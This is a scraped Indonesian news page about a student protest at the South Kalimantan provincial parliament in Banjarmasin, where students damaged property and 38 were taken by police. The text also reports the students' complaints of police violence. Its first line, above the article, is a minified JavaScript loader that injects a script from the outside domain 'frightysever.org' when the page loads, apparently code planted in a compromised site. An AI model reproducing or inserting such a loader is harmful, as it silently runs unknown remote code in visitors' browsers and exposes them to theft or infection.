(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Aksi puluhan mahasiswa yang menggelar unjuk rasa di Gedung DPRD Kalsel, Jumat (14/9) siang tadi, berujung pelaporan polisi. Sebanyak 38 mahasiswa dibawa paksa oleh petugas Mapolresta Banjarmasin menggunakan truk polisi pasca pengerusakan sejumlah fasilitas di ruang paripurna DPRD Kalsel.
Awalnya, aksi yang menuntut Presiden Jokowi mundur ini berlangsung aman. Massa yang datang sekitar pukul 11.00 Wita tersebut masuk ke areal DPRD Kalsel. Setelah berorasi, puluhan mahasiswa yang tergabung dalam Aliansi Mahasiswa Kalsel ini pun merangsek masuk ke dalam ruang paripurna dewan.
Lantaran tak ada satu pun anggota dewan menemui, mahasiswa melampiaskan emosinya dengan membanting sejumlah papan nama yang ada di atas meja pimpinan. “Inilah gambaran wakil rakyat kita!†teriak pengunjukrasa.
Kekecewaan mahasiswa ini, merupakan buntut dari aksi-aksi yang mereka lakukan sebelumnya. Dimana mereka juga gagal untuk menggelar dialog dengan anggota dewan.
Wakil Ketua Komisi I DPRD Kalsel H Suripno Sumas yang sempat menemui pengunjukrasa ketika itu meminta massa untuk tenang. “Saya hanya anggota dewan dan aspirasi kalian akan saya sampaikan pada pimpinan. Terkait tuntutan kalian, salurannya di Komisi II,†kata Suripno.
Pengunjukrasa sepakat dan bersedia keluar ruangan bersamaan datangnya waktu shalat Jumat dan meninggalkan kantor DPRD Kalsel. Sekitar pukul 14.00 Wita, mahasiswa kembali datang dan berdialog H Suripno Sumas. Namun tiba-tiba suasana menjadi menjadi ricuh dan terjadi saling dorong. Polisi pun bertindak dan mengamankan pendemo yang ingin membakar ban di halaman kantor DPRD Kalsel. Beberapa mahasiswa yang diduga sebagai provokator pun diborgol. Dan mereka selanjutnya diangkut menggunakan truk polisi ke Mapolresta Banjarmasin.
Total ada sebanyak 38 mahsiswa yang dibawa ke Mapolresta Banjarmasin siang tadi. Namun hingga saat ini, sebagianbesar dari mereka sudah dilepaskan. Hanya tersiswa 5 mahasiswa yang saat ini masih diinterogasi karena dianggap bertanggungjawab atas aksi anarkis tersebut.
Sementara itu, Rizky Adi Putra selaku Koordinator Lapangan (Korlap) dan Muhammad Abdul selaku Dewan Eksekutif Mahasiswa Fakultas Ekonomi Keislaman dan Bisnis UIN Antasari mengungkapkan bahwa akan membicarakan bagaimana tindakan selanjutnya. “Setelahi ini kami coba koordinasi dengan kawan-kawan bagaimana baiknya,” katanya.
Mahsiswa juga akan menindaklanjuti adanya unsur kekerasan yang dilakukan polisi dalam penanganan demo tersebut. Mengingat, beberapa dari pendemo ada yang sedikit luka-luka akibat diseret polisi.
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.